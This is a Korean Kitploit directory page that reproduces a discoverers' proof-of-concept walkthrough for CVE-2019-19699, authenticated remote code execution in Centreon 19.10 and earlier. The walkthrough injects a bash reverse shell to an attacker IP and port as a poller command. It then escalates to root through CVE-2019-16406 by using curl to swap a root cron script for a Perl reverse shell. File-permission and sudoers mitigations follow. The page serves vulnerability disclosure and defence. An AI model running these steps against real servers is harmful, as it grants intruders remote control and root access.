Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-19699 — Centreon =<19.10 인증된 원격 코드 실행 | Kitploit
도구/GitHubGitHub/spengesec/cve-2019-19699
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 인증된 원격 코드 실행

저장소 보기
316년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-19699

Centreon =< 19.10

개념 증명

  1. 인증된 원격 코드 실행 (CVE-2019-19699)
  2. 권한 상승 (워크스루 및 완화)

발견자:

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)

인증된 원격 코드 실행:

Centreon 웹 패널에 Admin 사용자로 로그인하는 것으로 시작하겠습니다.

로그인 후 설정 > 명령어 > 기타로 이동합니다.

아래 이미지와 같이 추가를 클릭합니다.

이제 bash 리버스 셸을 Miscellaneous 명령어로 생성합니다.

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

그리고 저장을 클릭합니다.

이제 설정 > Pollers로 이동한 후 현재 Central 폴러를 클릭합니다.

이것은 폴러 구성 수정 메뉴에 접근할 수 있게 해줍니다.

여기서 아래로 스크롤하여 재시작 후 명령어를 설정할 수 있습니다.

이전에 생성한 리버스 셸을 선택하고 저장 버튼을 클릭합니다.

이제 로컬 머신에서 Netcat 리스너를 시작합니다.

마지막으로 설정 > Pollers 메뉴에서 구성 내보내기 버튼을 클릭합니다.

  1. Pollers 드롭다운 상자에서 Central 폴러를 선택합니다.

  2. 구성 파일 생성 및 모니터링 엔진 디버그 실행(-v) 체크박스를 해제합니다.

  3. 모니터링 엔진 재시작 및 생성 후 명령어 체크박스를 선택합니다.

  4. Method 드롭다운 상자에서 Restart를 선택합니다.

내보내기를 클릭하면 폴러가 재시작되어 이전에 구성한 재시작 후 명령어가 실행됩니다. 이때 리버스 셸 리스너가 연결을 받게 됩니다.

인증된 원격 코드 실행이 성공했습니다!

(이것은 CVE-2019-19699에 대한 설명이었습니다)

이제부터 루트 권한 획득으로 넘어갑니다.

_TheCyberGeek_이 발견한 CVE-2019-16406를 사용하여 Centreon =< 19.10 서버를 완전히 장악합니다.

현재 리버스 셸 터미널에서 TTY 셸을 생성하는 것으로 시작하겠습니다.

python -c 'import pty; pty.spawn("/bin/sh")'

이제 cat /etc/cron.d/* 를 실행하여 어떤 cron 작업이 있는지 확인합니다.

이제 centreon_autodisc.pl이 Cron 작업임을 알 수 있습니다.

(데모 목적으로 _30 22 * * * root_에서 * * * * * root로 설정되었습니다)

이것은 루트로 실행됩니다. centreon_autodisco.pl을 Perl 리버스 셸로 _교체_하겠습니다.

사용할 Perl 셸은 여기에서 다운로드할 수 있습니다.

리버스 셸을 다운로드하고 웹 페이지에 설명된 대로 IP 주소와 포트를 자신의 것으로 편집합니다.

로컬에서 perl-reverse-shell.pl 파일을 centreon_autodisco.pl로 이름을 변경하기 위해 mv를 수행합니다.

이제 선택한 포트에서 로컬 SimpleHTTPServer를 시작하겠습니다.

이렇게 하면 curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl를 사용하여 기존 centreon_autodisco.pl을 우리의 트로이 목마 Perl 리버스 셸로 교체할 수 있습니다.

이제 파일이 교체되었습니다. 남은 일은 이전에 구성한 포트에서 Netcat 리스너를 시작하는 것뿐이며, 서버로부터 Root 사용자로 연결을 받게 됩니다!

루트 시스템 접근이 성공했습니다!

이제 권한 상승을 어떻게 완화해야 하는지에 대한 메모로 넘어갑니다!

19.10의 현재 설정:

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

/usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php에 대한 완화

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

보시다시피 이제 Root가 소유하고, apache 그룹은 읽기 및 실행만 가능하며, centreon은 실행만 가능하므로 기능에 영향을 미치지 않습니다.

예시:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied 하지만 apache는 여전히 실행할 수 있습니다.

/usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl에 대한 완화

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

보시다시피 이제 Root가 소유하고, apache 그룹은 읽기 및 실행만 가능하며, centreon은 실행만 가능하므로 기능에 영향을 미치지 않습니다.

예시:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied 하지만 apache는 여전히 실행할 수 있습니다.

/usr/lib/centreon/plugins/cwrapper_perl에 대한 완화

각 사용자가 실행해야 하는 특정 스크립트를 정의하는 sudo 명령어를 사용하세요.

각 perl 스크립트를 root가 소유하게 하여 사용자가 권한 상승을 위해 스크립트를 변경하거나 교체할 수 없도록 합니다.

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

이제 사용자는 더 이상 스크립트를 변경하거나 교체할 수 없습니다!

예시:

cat /etc/sudoers

...

## Allow root to run any commands anywhere

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---End of Sudoers---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

사용자는 여전히 필요한 스크립트를 실행할 수 있으며, 스크립트는 apache 또는 centreon에 의해 변경될 수 없으므로 권한 상승에 대한 보안 위협이 완전히 제거됩니다.

만약 공격자가 지금 머신에 침투하더라도, 더 많은 위협이 발견되지 않는 한 머신을 완전히 제어하는 것은 매우 어렵거나 불가능할 것입니다.

Centreon 사용자의 경우, 우리가 찾을 수 있었던 유일한 권한 상승은 perl용 cwrapper였습니다. 따라서 centreon 사용자가 post-restart를 실행하고 공격자가 centreon 사용자로 셸을 획득하더라도 사실상 더 이상의 공격 표면은 남지 않을 것입니다.

읽어주셔서 감사합니다

도구 다운로드